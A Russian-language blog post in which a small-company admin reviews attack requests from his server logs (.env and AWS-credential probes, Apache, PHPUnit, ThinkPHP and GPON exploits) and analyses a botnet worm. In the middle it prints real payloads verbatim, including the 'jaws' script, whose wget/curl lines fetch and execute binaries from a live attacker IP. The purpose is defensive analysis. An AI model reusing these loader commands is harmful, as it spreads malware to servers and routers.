Участившиеся атаки на сервер

Вопрос безопасности сервера с каждым днём становятся всё более актуальней, а обеспечение их безопасности — всё сложнее. После 28 мая 2022 г. участились кибер атаки в том числе на малый и средний бизнес. Эта напасть не обошла стороной и Красноярск. За месяц пострадало 4 клиента нашей небольщой компании. У всех четверых, при посещении сайта, появлялся видео ролик с антивоенными призывами. Из них трое настраивали свой сервер сами и сказать как их взломали я не могу поскольку не владею объективной информацией. По четвёртому точно знаю что он попался на фишинг и передал злоумышленнику доступ по ssh.

Обычно результатом атак становится репутационный, финансовый ущерб или потеря данных. Во всех наших случаях, финансовая потеря измерялась временем восстановления потерянных данных. Так как мы приучаем своих клиентов почаще делать бэкапы и не хранить их рядом с сайтом, потери оказались не существенными.

Атаки касаются не только web или иных серверов, но и различных устройств. Ребята из компании «Призма», занимаются проектированием, монтажом и обслуживанием систем безопасности. Не так давно до 28 мая к ним на обслуживание видео наблюдения, перешли несколько объектов, с не самым новым оборудованием. В один день пропала связь с оборудованием, но при этом трафик продолжал «уходить». Логин и пароль к роутерам уже не подходили. Похоже на то что злоумышленники как минимум сменили параметры доступа, а как максимум сменили прошивку. После обновления прошивки на последнюю официальную версию производителя данных роутеров, всё стало работать без перебоев, и больше подобного не повторялось.

Ввиду того что злоумышленники ищут способы для обнаружения слабых мест серверов и сетевого оборудования, с целью проникнуть в информационную систему компьютера пользователя или организации не стоит пренебрегать обновлением программного обеспечения.

Хочу привести примеры несостоявшихся атак на мой личный сервер, которые я обнаружил в логах, и попробовать разобрать их суть и опасность.

POST /editBlackAndWhiteList

9de3de600dc79dc58cab71275f6965ff.png

Начнём с самого безобидного для вэб сайта. Уязвимость удаленного выполнения кода NVMS-9000 Digital Video Recorder. NVMS-9000 имел жестко закодированные учетные данные администратора для аутентификации. Удаленный неаутентифицированный злоумышленник может использовать жестко закодированные учетные данные администратора для выполнения своего кода на компьютере жертвы. Эта уязвимость направлена на видео регистраторы конкретной фирмы и модели.

GET /phpmyadmin

Искали точку входа в базу данных.

GET /HNAP1

Сканировали поддержку протокола HNAP. С января 2010 года, в нескольких сетевых устройствах D-Link были обнаружены уязвимости, в которых можно было обойти HNAP-аутентификацию. Более подробно — здесь.

POST /GponForm/diag_Form? images

Даёт возможность обойти механизм аутентификации — для выполнения любых операции в web-интерфейсе достаточно добавить строку »? images/» к URL страницы. Если запросить URL »/images/» то устройство перезагружается. Уязвимость присутствует в типовом HTTP-сервере, применяемом в различных моделях домашних GPON-маршрутизаторах.

GET /.env; GET /admin/.env; GET /admin-app/.env; GET /api/.env; GET /back/.env; GET /backend/.env; GET /cp/.env

d446f7f6dacf930f6b9b3d91aee79135.png

Поискав информацию о файле ».env» я наткнулся на конструктор Vue CLI который использует этот файл для настройки переменных окружения, содержит пары ключ=значение. На сайте «Vuejs.org» в руководстве написано следующее: «ВНИМАНИЕ Не храните никаких секретов (например, приватных ключей API) в приложении! Так как переменные окружения внедряются в сборку, то любой желающий сможет увидеть их, изучив файлы сборки приложения.» Я предполагаю что это рассчитано на тех кто не читал руководство и решил таки хранить секреты в вышеуказанном файле.

GET /wp-login.php

1040a3f4626d829c975b5e223159e383.png

Эта атака направлена на взлом Wordpress. По умолчанию URL входа выглядит так /wp-login.php. Подробную статью о том как взломали блог, можно прочитать на habr.com.

GET /.aws/credentials

AWS CLI — это единый инструмент для управления сервисами AWS. В файле credentials находятся данные к AWS. Там могут быть данные к учетной записи AWS (access key ID, secret access key и session token). Полученную таким образом учетную запить можно использовать для удаленного доступа в будущем.

GET /actuator/gateway/routes; GET /actuator/health

898a363a2477dd5eccaefa5f985dfb59.png

Это актуально для тех кто пользуется модулем Spring Cloud, который позволяет хранить все конфигурации для разных приложений и разных окружений в одном месте. В документации на API описан «actuator/gateway/routes» запрос. Он нужен для получения информации обо всех маршрутах, определенных в шлюзе. Этот (actuator/health) запрос, показывает сведения о работоспособности приложения.

»\x16\x03\x01\x00c\x01\x00\x00_\x03\x01\xD3\xCC\xDD\x0E\x19\xDEs\xBD\xBE\x933A\xC2:\xEF=\xB7\xD96z\xB5\x8E\xC6K\xDAW\xA0h,\xEA\xF1\xA5\x00\x00\x12\xC0»

Такие ошибки могут возникать на сайте при некорректно настроенном на использование SSL. Но может быть и другой вариант. Запрос может быть направлен на уязвимость SSLv3 POODLE которая позволяет сетевому злоумышленнику вычислить открытый текст защищенных соединений.

GET /? XDEBUG_SESSION_START=phpstorm

Атака на сервер, использующая уязвимость php-модуля Xdebug версии < 2.5.5. Подробно про эту атаку написано здесь. А если в двух словах, то злоумышленник получает доступ по протоколу DBGp от имени пользователя веб сервера.

POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

CVE-2017–9841 Уязвимость позволяет злоумышленнику удаленно запускать PHP код на сайтах, используя брешь в PHPUnit.

GET /owa/auth/logon.aspx? url=https%3a%2f%2f1%2fecp%2f

Уязвимость SSRF через параметр username в /owa/auth/logon.aspx на странице входа в OWA (Outlook Web Access). Для Microsoft Exchange Server 2010 SP3 и предыдущих версий.

POST /Autodiscover/Autodiscover.xml

Компании Guardicore обнаружили серьезный баг в Microsoft Exchange. С помощью его имеется возможность собирать учетные данные от домена и приложений Windows. Проблема в некорректной работе протокола Microsoft Autodiscover. Благодаря этой функции почтовые клиенты могут автоматически обнаруживать почтовые серверы, предоставлять им учетные данные и получать соответствующие настройки. Клиент будет перебирать URL-адреса до тех пор, пока он не будет успешно аутентифицирован на сервере Microsoft Exchange и не получит информацию о конфигурации. К тому же этот механизм имеет процедуру «отката», которая срабатывает, если клиент не находит эндпоинт Autodiscover Exchange.

GET /_ignition/execute-solution

В библиотеке Ignition, поставляемой с Laravel, обнаружили уязвимость, которая позволяет неавторизованным пользователям выполнять произвольный код. Уязвимость возможна из за некорректной обработки параметров POST-запроса.

POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh

Проблема касается вэб сервера Apache версии 2.4.49 под идентификатором CVE-2021–41773. Ошибка состоит в том как Apache выполняет нормализацию URL.

«Злоумышленник мог использовать атаку обхода пути для сопоставления URL-адресов с файлами за пределами каталогов, настроенных директивами типа Alias. Если файлы вне этих каталогов не защищены обычной конфигурацией по умолчанию «require all denied», эти запросы могут быть успешными. Если CGI-скрипты также разрешены для этих псевдослучайных путей, это может привести к удаленному выполнению кода»

GET /index.php? s=/index/\x09hink\x07pp/invokefunction/>function=call_user_func_array/>vars[0]=shell_exec/>vars[1][]= 'wget http://146.0.75.242/YourName/BinName.x86 -O /tmp/.Fdp; chmod 777 /tmp/.Fdp;/tmp/.Fdp ThinkPHP.x86.Selfrep

Попытка запустить php функцию call_user_func_array с параметрами «vars[0], vars[1][]» и выполнить код удаленно. Таких запросов у меня в логах больше всего. В данном случае похоже пытались использовать уязвимость во фреймворке ThinkPHP. Пробовал скачать файл который злоумышленники предложили, но сервер уже не доступен.

POST /mifs/.;/services/LogService

Злоумышленник может добиться неаутентифицированного удаленного выполнения кода с произвольным вектором десериализации Java. Выполнение кода достигается путем произвольной десериализации в Java с использованием протокола Hessian. Аутентификация, которую можно обойти с помощью данного запроса.

GET /shell? cd+/tmp; rm±rf+*; wget+jx.qingdaosheng.com/jaws; sh+/tmp/jaws

В этом случае происходит попытка скачать файл через shell, а затем его запустить. Возможно этот случай в интерне уже рассматривали, но иногда хочется быть причастным хоть к чему-то полезному. Любопытство взяло верх и я решил разобрать этот вариант «по косточкам». Для начала надо получить файл который нам злоумышленники предлагают скачать. Файл с названием «jaws» оказался на месте. Так как это открытый источник злоумышленников, если я его скачаю, ничего противозаконного в этом не будет. В скачанном файле всё тот-же shell скрипт.

#!/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://156.234.211.155/ma/meihao.x86; curl -O http://156.234.211.155/ma/meihao.x86; cat meihao.x86 > systemdas; chmod +x *; ./systemdas jaws.exploit
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://156.234.211.155/ma/meihao.mips; curl -O http://156.234.211.155/ma/meihao.mips; cat meihao.mips > systemdas; chmod +x *; ./systemdas jaws.exploit
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://156.234.211.155/ma/meihao.mpsl; curl -O http://156.234.211.155/ma/meihao.mpsl; cat meihao.mpsl > systemdas; chmod +x *; ./systemdas jaws.exploit
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://156.234.211.155/ma/meihao.arm; curl -O http://156.234.211.155/ma/meihao.arm; cat meihao.arm > systemdas; chmod +x *; ./systemdas jaws.exploit
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://156.234.211.155/ma/meihao.arm5; curl -O http://156.234.211.155/ma/meihao.arm5; cat meihao.arm5 > systemdas; chmod +x *; ./systemdas jaws.exploit
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://156.234.211.155/ma/meihao.arm6; curl -O http://156.234.211.155/ma/meihao.arm6; cat meihao.arm6 > systemdas; chmod +x *; ./systemdas jaws.exploit
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://156.234.211.155/ma/meihao.arm7; curl -O http://156.234.211.155/ma/meihao.arm7; cat meihao.arm7 > systemdas; chmod +x *; ./systemdas jaws.exploit
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://156.234.211.155/ma/meihao.ppc; curl -O http://156.234.211.155/ma/meihao.ppc; cat meihao.ppc > systemdas; chmod +x *; ./systemdas jaws.exploit
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://156.234.211.155/ma/meihao.m68k; curl -O http://156.234.211.155/ma/meihao.m68k; cat meihao.m68k > systemdas; chmod +x *; ./systemdas jaws.exploit
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://156.234.211.155/ma/meihao.spc; curl -O http://156.234.211.155/ma/meihao.spc; cat meihao.spc > systemdas; chmod +x *; ./systemdas jaws.exploit
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://156.234.211.155/ma/meihao.i686; curl -O http://156.234.211.155/ma/meihao.i686; cat meihao.i686 > systemdas; chmod +x *; ./systemdas jaws.exploit
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://156.234.211.155/ma/meihao.sh4; curl -O http://156.234.211.155/ma/meihao.sh4; cat meihao.sh4 > systemdas; chmod +x *; ./systemdas jaws.exploit
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://156.234.211.155/ma/meihao.arc; curl -O http://156.234.211.155/ma/meihao.arc; cat meihao.arc > systemdas; chmod +x *; ./systemdas jaws.exploit

Попробую разобраться что здесь происходит. По моему мнению каждая строка направлена на определённую архитектуру процессора (x86, mips, mpsl, arm, arm5, arm6, arm7, ppc, m68k, spc, i686, sh4, arc). С начала заходит в найденный каталог, затем загружает туда файл, запускает его и если архитектура совпадает, то работает дальше. Этот файл тоже оказался в свободном доступе так что можно туда заглянуть.

Начало говорит о том что это elf (формат исполняемых и связываемых файлов).

004dd2709e28812fce57531929b26c7c.png

Сразу бросается в глаза надпись «This file is packed with the UPX executable packer http://upx.sf.net».

0d4deda328fa48c97270433d0d2e23cc.png

Это говорит о том что файл упакован сервисом upx. Распаковываем, «берём микроскоп» и смотрим дальше. Перед тем как открыть бинарник в программе Ghidra, точку входа можно посмотреть через команду «readelf -h». С ходу наткнулся на неприятную штуку. Цикл из которого нет выхода. Наверно так было задумано.

6261b39a37584f92e2d148c40ebb1c17.png

POST /ctrlt/DeviceUpgrade

03baa6c56f961899fb56202cdf2e798e.png

Я предполагаю что роутеру, в каталог обновления загружается xml инструкция, по которой ПО роутера определяет адрес для скачивания нового обновления прошивки. А заполучить его можно на сайте злоумышленников — jx.qingdaosheng.com. Как будет работать роутер после этого, зависит от целей и задач злоумышленников.

POST /cgi-bin/

ee6406a0f2d8ee55ec691ab80c32d580.png

Цель — программное обеспечение (движок) для организации интернет-форумов Ultimate Bulletin Board. Если доступ к этому каталогу открыт, все скрипты доступны. В интернете описан случай когда хакеры используя этот способ, заполучили пароль от FTP, но пакостить не стали. Благородные оказались.

POST /GponForm/diag_Form? style/

5872671f45a8cf2b31901564506139d6.png

Про GponForm я уже писал только через параметр «image». Скорей всего через заголовок «XwebPageName» при передаче параметра diag_action=ping к GponForm/diag_Form? style/ маршрутизатор выполняет пинг по адресу который находится в параметре «dest_host», и сохраняет результаты пинга в /tmp, который передаёт пользователю после того как он обратится к /diag.html.

GET /shell? cd+/tmp; rm±rf+*; wget+jx.qingdaosheng.com/jaws; sh+/tmp/jaws

302ab59b4129aa937ec179842dafb1b2.png

Вот это поворот!!! При анализе поступившего запроса загружается shell скрипт, после его выполнения запускается вирус отправляющий запрос с которого всё началось. Круг замкнулся. Сервер после рассылки по сети запросов к роутерам и серверам, начинает копировать себя, уже можно смело его назвать червь для создания ботнета.

18a941747cb770fcb82d86448f5f7413.png

А здесь я обнаружил послание от некой хакерской группы, а может и не группы. Поскольку там присутствует нецензурная лексика, её я с вашего позволения опущу. Они называют себя We BiG L33T HaxErS. Судя по стилю хакеры имеют отношение к геймерам начала 2000х годов.

Немного справки:

1337, L33T (leet — elite) — интернет-язык маленьких геймеров и хакеров годов 2000-ых. Абсолютно нечитабелен в устной речи, годится только для употребления в письменном виде. Слово elite помогает почувствовать себя особенным. Алфавит L33T формируется посредством почти полной замены букв алфавита на цифры. Поначалу нужен был для обхода словарных фильтров. Хакеры использовали, его для усложнения работы модераторов сайта и стали использовать более сложное шифрование сообщений. В World of Warcraft общение между Альянсом и Ордой осуществлялось только через leet, потом это поправили патчем. Когда алфавит утратил свою актуальность он стал выполнять свои декоративные функции. Модное веяние подхватили геймеры, понимание странных сообщений в чатах онлайн-игр показывало, что ты в теме и вообще шаришь, поэтому довольно быстро leet нашел себе новую аудиторию. Отсюда и шутки про 1337 в никнеймах школьников. Leet оставил настолько большой след в интернет-культуре, что референсы и отсылки к нему появлялись постоянно: например, в любимой теми же самыми школьниками CS 1.6 класс террориста называется leet, в Half-life есть карта под названием 1337 Street, а в Google раньше можно было набрать l33t и нажать «Мне повезёт!», после чего сам гугл переключался на leet.

«We BiG L33T HaxErS» можно интерпретировать как «мы большие элитные хакеры». Ur (смотри скриншот) я думаю это ник взятый из WoW.

Немного справки:

Ur был магом Даларана до прихода Плети. Он был наиболее известен своими исследованиями теневой магии и исследованиями других миров. Он наиболее известен своими исследованиями инопланетных существ, известных как воргены. Хотя его знания были велики, некоторые считали, что его совесть удерживает его от истинной силы. Он погиб во время Осады Даларана от рук Плети.

NeTiS — Компания «NETIS SYSTEMS» является частью компании «Netcore Group». Её штаб-квартира расположена в г. Шэньчжэнь, Китай.

Кстати сервер который занимается рассылкой если верить reg.ru привязан к Гонконгу.

Теперь попробую перевести. Самореплицирующаяся программа, которая делает плохо компании Netis, и Ur самый башковитый — мы большие элитные хакеры.

P.S. Данная публикация это способ отвлечься от основного рабочего занятия, и узнать для себя что-то новое. Основной посыл я думаю понятен, обновлять стоит не только сервера, но и оборудование которое в том числе обеспечивает доступы серверов к сети. В общем всё что можно обновить надо обновлять.

© Habrahabr.ru